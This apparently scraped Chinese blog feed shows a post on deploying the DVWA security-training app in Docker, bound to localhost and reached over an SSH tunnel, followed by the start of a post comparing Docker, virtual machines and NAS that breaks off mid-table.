理论上无法攻破（最佳实践级别的防御） 二、部署过程 完整命令 # 1. 拉取镜像（经中科大 Docker 镜像加速） docker pull vulnerables/web-dvwa # 2. 启动容器（仅监听本地 127.0.0.1，不暴露到公网） docker run -d --name dvwa -p 127.0.0.1:8080:80 vulnerables/web-dvwa 参数解释 参数 含义 docker pull 从镜像仓库下载 DVWA 镜像到本地 docker run -d 后台运行容器（-d = detached） --name dvwa 给容器起名 dvwa，之后用这个名字操作容器 -p 127.0.0.1:8080:80 端口映射——宿主机 127.0.0.1 的 8080 端口 → 容器内的 80 端口 vulnerables/web-dvwa 使用的镜像名 三、验证结果分析 命令 1：docker ps（查看正在运行的容器） CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 89beb5ef831d vulnerables/web-dvwa \u0026#34;/main.sh\u0026#34; 7 minutes ago Up 7 minutes 127.0.0.1:8080-\u0026gt;80/tcp dvwa 字段 本机输出 含义 CONTAINER ID 89beb5ef831d 容器的唯一标识（与镜像 ID 不同——镜像是模板，容器是运行实例） IMAGE vulnerables/web-dvwa 基于哪个镜像创建的 COMMAND /main.sh 容器启动时执行的脚本（DVWA 的入口） CREATED 7 minutes ago 容器创建时间 STATUS Up 7 minutes Up = 正在运行（Exited = 已停止） PORTS 127.0.0.1:8080→80/tcp 端口映射——关键：只有 127.0.0.1，公网无法访问 NAMES dvwa 容器名称，之后用 docker stop dvwa 等控制它 命令 2：ss -tlnp | grep -E '22|8080'（查看端口监听状态） LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* 行 监听地址 端口 含义 第 1 行 127.0.0.1 8080 DVWA 容器——只监听本地回环，外网无法访问 第 2 行 0.0.0.0 22 SSH 服务——监听所有网卡，任何 IP 都能连（但只允许密钥认证） 第 3 行 [::] 22 SSH 服务 IPv6 版 0.0.0.0 和 127.0.0.1 的区别 0.0.0.0:22 → \u0026#34;谁来都行\u0026#34;：公网 IP、内网 IP、127.0.0.1 都能访问 22 端口 SSH 需要这个——你从家里连服务器，走的就是公网 IP 的 22 端口 127.0.0.1:8080 → \u0026#34;只允许我自己\u0026#34;：只有在本机（服务器自己）才能访问 8080 外部任何 IP 都连不上 8080——即使知道端口号也没用 DVWA 要的就是这个——靶机不能暴露给公网脚本小子 四、SSH 隧道：在保证安全的前提下让你访问靶机 为什么需要隧道 问题： 浏览器在你的 Windows 电脑上 → DVWA 在远程服务器上 但 DVWA 只监听 127.0.0.1 → 你的浏览器无法直接访问 解决： SSH 隧道 = 在你的电脑和服务器之间挖一条加密通道 你把本地 8080 端口的请求，通过 SSH（22 端口）转发到服务器的 127.0.0.1:8080 结果：浏览器打开 127.0.0.1:8080，实际上访问的是服务器上的 DVWA 隧道命令 ssh -L 8080:127.0.0.1:8080 mycvm 参数 含义 -L Local port forwarding（本地端口转发） 8080 本地（Windows）监听的端口 127.0.0.1 目标 IP——这里指服务器自己的 127.0.0.1 8080 目标端口——DVWA 容器映射出来的端口 mycvm SSH 别名，指向你的云服务器 隧道工作原理 ┌─────────────────────────────────────────────────────┐ │ 你的 Windows 电脑 │ │ │ │ 浏览器 ──→ http://127.0.0.1:8080 │ │ │ │ │ ▼ │ │ SSH 客户端（ssh -L 8080:...） │ │ 把本地 8080 的请求通过 SSH 隧道转发 │ └────────────────┬────────────────────────────────────┘ │ │ SSH 隧道（走 22 端口，全程加密） │ ┌────────────────┴────────────────────────────────────┐ │ 云服务器 │ │ │ │ SSH 服务端 ──→ 转发到 127.0.0.1:8080 │ │ │ │ │ ▼ │ │ Docker 容器（DVWA:80） │ └─────────────────────────────────────────────────────┘ 访问步骤 1. 本地 PowerShell 跑：ssh -L 8080:127.0.0.1:8080 mycvm → 保持这个窗口开着（关了隧道就断了） 2. 本地浏览器打开：http://127.0.0.1:8080 → 默认账号 admin / password → 进入后点击 \u0026#34;Create / Reset Database\u0026#34; 初始化 3. 隧道窗口 Ctrl+C → 隧道断开 → 浏览器访问不了 → 靶机关闭不影响安全 安全边界总结 公网能访问的： ✅ 22 端口（SSH）——但只允许密钥认证，暴力破解无效 公网不能访问的： ❌ 8080 端口（DVWA）——127.0.0.1 绑定 + 安全组未开放 ❌ 通过 22 端口的 SSH 隧道 → 需要先通过密钥认证才能建立隧道 结论：要访问 DVWA，必须同时满足： 1. 拥有你的私钥（id_ed25519） 2. 建立 SSH 隧道 缺少任何一个条件 → 靶机完全不可见 五、Docker 常用控制命令速查 docker ps # 查看运行中的容器 docker stop dvwa # 停止 DVWA docker start dvwa # 重新启动 docker rm dvwa # 删除容器 docker images # 查看本地所有镜像 docker system prune -a # 清理所有未使用的镜像/容器（省磁盘） 六、当前服务器状态 一台云服务器：mycvm（154.8.147.160） ├── SSH（22 端口，密钥认证） ├── Docker Engine │ ├── 镜像：vulnerables/web-dvwa │ └── 容器：dvwa（127.0.0.1:8080，仅本机访问） ├── Docker 镜像加速：中科大 + DaoCloud └── apt 源：腾讯云内网源 下一步：开始在 DVWA 上手动练习 SQL 注入（Low 等级）\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0728_03_docker%E9%83%A8%E7%BD%B2dvwa%E4%B8%8Essh%E9%9A%A7%E9%81%93/","summary":"\u003ch1 id=\"docker-部署-dvwa-与-ssh-隧道\"\u003eDocker 部署 DVWA 与 SSH 隧道\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e日期：2026-07-28\u003cbr\u003e\n前文：\u003ca href=\"2026_0728_02_Docker%E4%B8%8E%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%B8%8ENAS.md\"\u003e02_Docker与虚拟机与NAS\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"一dvwa-是什么\"\u003e一、DVWA 是什么\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eDVWA（Damn Vulnerable Web Application）\u003c/strong\u003e 是一个故意设计得漏洞百出的 PHP/MySQL Web 应用，用于安全从业人员练习渗透测试。\u003c/p\u003e\n\u003ch3 id=\"内置漏洞类型对应-cisp-pte-web-维度-40-分\"\u003e内置漏洞类型（对应 CISP-PTE Web 维度 40 分）\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e漏洞类型\u003c/th\u003e\n          \u003cth\u003e攻击方法\u003c/th\u003e\n          \u003cth\u003eCISP-PTE 覆盖\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eSQL 注入\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e联合查询 / 报错注入 / 盲注\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eXSS\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e反射型 / 存储型 / DOM 型\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCSRF\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e跨站请求伪造\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e文件包含\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eLFI（本地文件包含）/ RFI（远程文件包含）\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e文件上传\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e前端绕过 / MIME 绕过 / 黑名单绕过\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e命令注入\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRCE（远程命令执行）\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e暴力破解\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e弱口令爆破\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCAPTCHA 绕过\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e验证码逻辑漏洞\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"安全等级\"\u003e安全等级\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eLow       → 无任何防护，学习漏洞原理\nMedium    → 有基础过滤（如 mysql_real_escape_string），但可绕过\nHigh      → 更强的防御，需要更高级的绕过技巧\nImpossible → 理论上无法攻破（最佳实践级别的防御）\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"二部署过程\"\u003e二、部署过程\u003c/h2\u003e\n\u003ch3 id=\"完整命令\"\u003e完整命令\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 1. 拉取镜像（经中科大 Docker 镜像加速）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker pull vulnerables/web-dvwa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2. 启动容器（仅监听本地 127.0.0.1，不暴露到公网）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker run -d --name dvwa -p 127.0.0.1:8080:80 vulnerables/web-dvwa\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"参数解释\"\u003e参数解释\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e参数\u003c/th\u003e\n          \u003cth\u003e含义\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003edocker pull\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e从镜像仓库下载 DVWA 镜像到本地\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003edocker run -d\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e后台运行容器（\u003ccode\u003e-d\u003c/code\u003e = detached）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e--name dvwa\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e给容器起名 \u003ccode\u003edvwa\u003c/code\u003e，之后用这个名字操作容器\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e-p 127.0.0.1:8080:80\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e端口映射\u003c/strong\u003e——宿主机 127.0.0.1 的 8080 端口 → 容器内的 80 端口\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003evulnerables/web-dvwa\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e使用的镜像名\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"三验证结果分析\"\u003e三、验证结果分析\u003c/h2\u003e\n\u003ch3 id=\"命令-1docker-ps查看正在运行的容器\"\u003e命令 1：\u003ccode\u003edocker ps\u003c/code\u003e（查看正在运行的容器）\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eCONTAINER ID   IMAGE                  COMMAND      CREATED         STATUS         PORTS                    NAMES\n89beb5ef831d   vulnerables/web-dvwa   \u0026#34;/main.sh\u0026#34;   7 minutes ago   Up 7 minutes   127.0.0.1:8080-\u0026gt;80/tcp   dvwa\n\u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e字段\u003c/th\u003e\n          \u003cth\u003e本机输出\u003c/th\u003e\n          \u003cth\u003e含义\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCONTAINER ID\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e89beb5ef831d\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e容器的唯一标识（与镜像 ID 不同——镜像是模板，容器是运行实例）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eIMAGE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003evulnerables/web-dvwa\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e基于哪个镜像创建的\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCOMMAND\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e/main.sh\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e容器启动时执行的脚本（DVWA 的入口）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCREATED\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e7 minutes ago\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e容器创建时间\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eSTATUS\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eUp 7 minutes\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eUp\u003c/code\u003e = 正在运行（\u003ccode\u003eExited\u003c/code\u003e = 已停止）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003ePORTS\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e127.0.0.1:8080→80/tcp\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e端口映射——\u003cstrong\u003e关键\u003c/strong\u003e：只有 \u003ccode\u003e127.0.0.1\u003c/code\u003e，公网无法访问\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eNAMES\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003edvwa\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e容器名称，之后用 \u003ccode\u003edocker stop dvwa\u003c/code\u003e 等控制它\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"命令-2ss--tlnp--grep--e-228080查看端口监听状态\"\u003e命令 2：\u003ccode\u003ess -tlnp | grep -E '22|8080'\u003c/code\u003e（查看端口监听状态）\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eLISTEN  0  4096  127.0.0.1:8080  0.0.0.0:*\nLISTEN  0  128   0.0.0.0:22      0.0.0.0:*\nLISTEN  0  128   [::]:22         [::]:*\n\u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e行\u003c/th\u003e\n          \u003cth\u003e监听地址\u003c/th\u003e\n          \u003cth\u003e端口\u003c/th\u003e\n          \u003cth\u003e含义\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e第 1 行\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e127.0.0.1\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e8080\u003c/td\u003e\n          \u003ctd\u003eDVWA 容器——\u003cstrong\u003e只监听本地回环\u003c/strong\u003e，外网无法访问\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e第 2 行\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e0.0.0.0\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e22\u003c/td\u003e\n          \u003ctd\u003eSSH 服务——\u003cstrong\u003e监听所有网卡\u003c/strong\u003e，任何 IP 都能连（但只允许密钥认证）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e第 3 行\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e\u003ccode\u003e[::]\u003c/code\u003e\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e22\u003c/td\u003e\n          \u003ctd\u003eSSH 服务 IPv6 版\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"0000-和-127001-的区别\"\u003e\u003ccode\u003e0.0.0.0\u003c/code\u003e 和 \u003ccode\u003e127.0.0.1\u003c/code\u003e 的区别\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e0.0.0.0:22     → \u0026#34;谁来都行\u0026#34;：公网 IP、内网 IP、127.0.0.1 都能访问 22 端口\n                  SSH 需要这个——你从家里连服务器，走的就是公网 IP 的 22 端口\n\n127.0.0.1:8080 → \u0026#34;只允许我自己\u0026#34;：只有在本机（服务器自己）才能访问 8080\n                  外部任何 IP 都连不上 8080——即使知道端口号也没用\n                  DVWA 要的就是这个——靶机不能暴露给公网脚本小子\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"四ssh-隧道在保证安全的前提下让你访问靶机\"\u003e四、SSH 隧道：在保证安全的前提下让你访问靶机\u003c/h2\u003e\n\u003ch3 id=\"为什么需要隧道\"\u003e为什么需要隧道\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e问题：\n  浏览器在你的 Windows 电脑上 → DVWA 在远程服务器上\n  但 DVWA 只监听 127.0.0.1 → 你的浏览器无法直接访问\n\n解决：\n  SSH 隧道 = 在你的电脑和服务器之间挖一条加密通道\n  你把本地 8080 端口的请求，通过 SSH（22 端口）转发到服务器的 127.0.0.1:8080\n  结果：浏览器打开 127.0.0.1:8080，实际上访问的是服务器上的 DVWA\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"隧道命令\"\u003e隧道命令\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh -L \u003cspan style=\"color:#ae81ff\"\u003e8080\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e127.0\u003c/span\u003e.0.\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8080\u003c/span\u003e mycvm\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e参数\u003c/th\u003e\n          \u003cth\u003e含义\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e-L\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eLocal port forwarding（本地端口转发）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e8080\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e本地（Windows）监听的端口\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e127.0.0.1\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e目标 IP——这里指\u003cstrong\u003e服务器自己\u003c/strong\u003e的 127.0.0.1\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e8080\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e目标端口——DVWA 容器映射出来的端口\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003emycvm\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eSSH 别名，指向你的云服务器\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"隧道工作原理\"\u003e隧道工作原理\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e┌─────────────────────────────────────────────────────┐\n│  你的 Windows 电脑                                    │\n│                                                     │\n│  浏览器 ──→ http://127.0.0.1:8080                    │\n│                │                                    │\n│                ▼                                    │\n│          SSH 客户端（ssh -L 8080:...）                │\n│          把本地 8080 的请求通过 SSH 隧道转发            │\n└────────────────┬────────────────────────────────────┘\n                 │\n                 │ SSH 隧道（走 22 端口，全程加密）\n                 │\n┌────────────────┴────────────────────────────────────┐\n│  云服务器                                              │\n│                                                     │\n│  SSH 服务端 ──→ 转发到 127.0.0.1:8080                  │\n│                        │                            │\n│                        ▼                            │\n│                  Docker 容器（DVWA:80）               │\n└─────────────────────────────────────────────────────┘\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"访问步骤\"\u003e访问步骤\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e1. 本地 PowerShell 跑：ssh -L 8080:127.0.0.1:8080 mycvm\n   → 保持这个窗口开着（关了隧道就断了）\n\n2. 本地浏览器打开：http://127.0.0.1:8080\n   → 默认账号 admin / password\n   → 进入后点击 \u0026#34;Create / Reset Database\u0026#34; 初始化\n\n3. 隧道窗口 Ctrl+C → 隧道断开 → 浏览器访问不了 → 靶机关闭不影响安全\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"安全边界总结\"\u003e安全边界总结\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e公网能访问的：\n  ✅ 22 端口（SSH）——但只允许密钥认证，暴力破解无效\n\n公网不能访问的：\n  ❌ 8080 端口（DVWA）——127.0.0.1 绑定 + 安全组未开放\n  ❌ 通过 22 端口的 SSH 隧道 → 需要先通过密钥认证才能建立隧道\n\n结论：要访问 DVWA，必须同时满足：\n  1. 拥有你的私钥（id_ed25519）\n  2. 建立 SSH 隧道\n  缺少任何一个条件 → 靶机完全不可见\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"五docker-常用控制命令速查\"\u003e五、Docker 常用控制命令速查\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker ps                  \u003cspan style=\"color:#75715e\"\u003e# 查看运行中的容器\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker stop dvwa           \u003cspan style=\"color:#75715e\"\u003e# 停止 DVWA\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker start dvwa          \u003cspan style=\"color:#75715e\"\u003e# 重新启动\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker rm dvwa             \u003cspan style=\"color:#75715e\"\u003e# 删除容器\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker images              \u003cspan style=\"color:#75715e\"\u003e# 查看本地所有镜像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edocker system prune -a     \u003cspan style=\"color:#75715e\"\u003e# 清理所有未使用的镜像/容器（省磁盘）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"六当前服务器状态\"\u003e六、当前服务器状态\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e一台云服务器：mycvm（154.8.147.160）\n  ├── SSH（22 端口，密钥认证）\n  ├── Docker Engine\n  │   ├── 镜像：vulnerables/web-dvwa\n  │   └── 容器：dvwa（127.0.0.1:8080，仅本机访问）\n  ├── Docker 镜像加速：中科大 + DaoCloud\n  └── apt 源：腾讯云内网源\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003cp\u003e\u003cem\u003e下一步：开始在 DVWA 上手动练习 SQL 注入（Low 等级）\u003c/em\u003e\u003c/p\u003e","title":"Docker 部署 DVWA 与 SSH 隧道"},{"content":"Docker 与虚拟机与 NAS 日期：2026-07-28\n前文：2026_0728_01_云服务器初始配置与SSH密钥认证\n一、三者分别是什么 Docker（容器引擎） Docker 是一个应用打包和运行平台。它把应用及其所有依赖（代码、运行时、系统库、配置）打包成一个\u0026quot;镜像\u0026quot;，这个镜像可以在任何安装了 Docker 的机器上原样运行。\n核心思想：一次打包，到处运行。 开发环境跑得通 → 测试环境跑得通 → 生产环境跑得通。 因为这三个环境用的是同一个镜像，不存在\u0026#34;我机器上没问题啊\u0026#34;。 核心概念 是什么 类比 镜像（Image） 应用的只读模板，包含运行应用所需的一切 蛋糕模具 容器（Container） 镜像的运行实例，有自己的文件系统、进程空间、网络 用模具做出的蛋糕 仓库（Registry） 存放和分发镜像的地方（Docker Hub / 私有仓库） 模具商店 虚拟机（Virtual Machine） 虚拟机是通过Hypervisor（虚拟机管理器）在物理硬件上模拟出一台完整的虚拟计算机。每台 VM 有自己的虚拟 CPU、内存、硬盘、网卡，以及独立的操作系统内核。\n常见的 Hypervisor：\nVMware Workstation / VirtualBox — 装在 Windows/macOS 上，你本地跑靶机用的 KVM — Linux 内核内置，云厂商（腾讯云/阿里云/AWS）底层用的就是这个 NAS（Network Attached Storage，网络附加存储） NAS 是一台专门用来存文件的设备，通过网线连在你的路由器上，局域网内所有设备都能访问它。本质上就是一台插了很多硬盘的小型服务器，只不过操作系统被简化成了文件管理专用。\n常见形态：\n品牌成品：群晖（Synology）/ 威联通（QNAP）——买来即用，贵但省心 自建 DIY：旧电脑 / 树莓派 + 多块硬盘 + TrueNAS / Unraid 系统——便宜但折腾 注意：NAS 和 Docker/虚拟机不在同一个维度上比较。NAS 是一个硬件设备 / 文件服务，Docker 和虚拟机是虚拟化技术。你可以在 NAS 上跑 Docker，也可以在 NAS 上跑虚拟机——它们可以组合使用。\n二、Docker 与虚拟机的架构区别 虚拟机架构： Docker 容器架构： ┌─────────────┬─────────────┐ ┌─────────────┬─────────────┐ │ App A │ App B │ │ App A │ App B │ ├─────────────┼─────────────┤ ├─────────────┼─────────────┤ │ Bin/Libs │ Bin/Libs │ │ Bin/Libs │ Bin/Libs │ ├─────────────┼─────────────┤ ├─────────────┴─────────────┤ │ Guest OS │ Guest OS │ │ Docker Engine │ │ (Ubuntu) │ (CentOS) │ ├───────────────────────────┤ ├─────────────┴─────────────┤ │ Host OS (Ubuntu) │ │ Hypervisor │ ├───────────────────────────┤ │ (VMware / VirtualBox / KVM)│ │ 物理服务器 │ ├───────────────────────────┤ └───────────────────────────┘ │ Host OS │ ├───────────────────────────┤ 核心差异： │ 物理服务器 │ 所有容器共享宿主机的 Linux 内核 └───────────────────────────┘ 没有 Guest OS 这个层级 没有 Hypervisor 这个层级 每个 VM 有自己完整的 OS 逐层对比 对比维度 虚拟机 Docker 虚拟化层级 硬件级（Hypervisor 模拟整台机器） 操作系统级（共享内核，隔离进程） 操作系统 每个 VM 有独立的完整 OS（~几百MB-几GB） 无独立 OS，所有容器共用宿主机内核 启动速度 30 秒到 2 分钟（需启动完整 OS） 1-3 秒（只启动进程） 磁盘占用 每个 VM 几 GB 到几十 GB 每个镜像几百 MB，多层共用基础层 内存占用 Guest OS 本身就要占用 ~400MB-1GB 